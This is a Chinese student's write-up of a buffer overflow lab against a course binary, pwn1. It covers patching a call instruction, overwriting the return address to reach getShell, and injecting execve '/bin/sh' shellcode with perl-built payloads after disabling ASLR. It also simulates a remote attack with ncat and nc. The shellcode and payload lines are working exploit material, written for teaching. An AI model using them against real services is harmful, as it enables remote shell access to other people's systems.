一、实验目标及内容
实验内容:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
实验目标:理解可执行文件与机器指令
理解攻击缓冲区的结果,掌握返回地址的获取
能正确构造payload进行Bof攻击
二、基础知识
linux基础知识
ls:列出当前目录下的文件和文件夹
cd:切换目录
pwd:显示当前所在目录的路径
mkdir:创建新文件夹
cp:复制文件或文件夹
mv:移动或重命名文件或文件夹
rm:删除文件或文件夹
“|”:管道
“>”:输入、输出重定向
Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中
机器码基础知识
NOP:空操作,直接下一条指令
CMP:比较操作数,修改标志位
JMP:无条件跳转
JE/JZ:跳转指令,相等则跳转
JNE/JNZ:跳转指令,不等则跳转
反汇编与十六进制
反汇编:objdump -d 操作文件
切换为十六进制::%!xxd
切换为原模式::%!xxd -r
三、实验过程
(1)反汇编
下载目标文件pwn1,用objdump -d pwn20232416 | more反汇编。
根据图片可知我们需要将08048491改为0804847d,二者求差取其补码可得0xffffc3,即将命令改为e8c3,所以我们接下来要做的是更改“e8d7”为“e8c3”,代码如下:
点击查看代码
cp pwn1 pwn20232416
vi pwn20232416 //进入修改
:%!xxd //改为16进制
:%!xxd -r //变为原进制
再反汇编看一下,call指令是否正确调用getShell。
执行文件查看能否运行。
可以看出成功达成目标。
(2)通过构造输入参数,造成BOF攻击,改变程序执行流
首先安装gdb,命令如下:
点击查看代码
sudo apt update
sudo apt install gdb
点击查看代码
sudo apt update
sudo apt install gdb
接着确认输入字符串哪几个字符会覆盖到返回地址,代码如下
点击查看代码
root@KaliYL:~# gdb pwn1
(gdb) r
Starting program: /root/pwn1
1111111122222222333333334444444455555555(gdb) info r
(gdb) r
Start it from the beginning? (y or n) y
Starting program: /root/pwn1
1111111122222222333333334444444412345678
(gdb) info r
可见如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。
最后是构造输入字符串,我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键,接着可以使用16进制查看指令xxd查看input文件的内容是否如预期,最后将input的输入,通过管道符“|”,作为pwn1的输入。。
(3)注入Shellcode并执行
重新复制一份pwn文件命名为pwn20232419,通过patchelf工具设置堆栈可执行并查询是否可执行,关闭地址随机化。
点击查看代码
patchelf --set-execstack pwn20232416-0
readelf -l pwn20232416-0 | grep GNU_STACK
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space
构造要注入的payload.
点击查看代码
perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
点击查看代码
perl -e 'print "A" x 32 . "\x60\xd3\xff\xff"."\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_shellcode
(cat input_shellcode;cat) | ./pwn20232419
使用命令来查看进程号并且启动gdb调试并设置断点,按c后去老终端按下回车,否则c会不停。
点击查看代码
ps -ef | grep pwn20232419
gdb
(gdb)attach 58466
(gdb)disassemble foo
(gdb)break *0x080484ae
查看断点地址并查看该地址存放的内容。
点击查看代码
(gdb)info r esp
(gdb) x/16x 0xffffcf1c
(4)结合nc模拟远程攻击
首先下载ncat,命令如下:
点击查看代码
sudo apt update
sudo apt install ncat
在主机1,模拟一个有漏洞的网络服务。同时主机2,连接主机1并发送攻击载荷:
点击查看代码
ncat -l 192.168.175.129 -p 28234 -e ./pwn20232419 //主机1命令(cat input_shellcode; cat) | nc 192.168.175.129 28234
ls //主机2命令
ncat模拟远程攻击成功.
三、问题及解决方案
1.管道破裂问题
出现那串字符后什么都不按就行了,必须出现两行的进程之类的,只有一行说明管道破裂,得重来。
2.execstack下载问题
这个既无法通过命令行下载,也无法通过网址下载(显示404 NOT FOUND)方法是找到可替代工具patchelf,同时指令也会对应发生一些变化,见实验过程详细步骤。
四、学习感悟及思考
真是没谁了,从国庆中秋的中期就开始做到现在,求爷爷告奶奶般的到处问同学,期间出了一堆问题还走了不少死路问ai都没能完全搞定,最后还得一位同学做完并向他请教后方才能够完成这次实验,太累了,因此在10月10日完成后真是有种解脱感。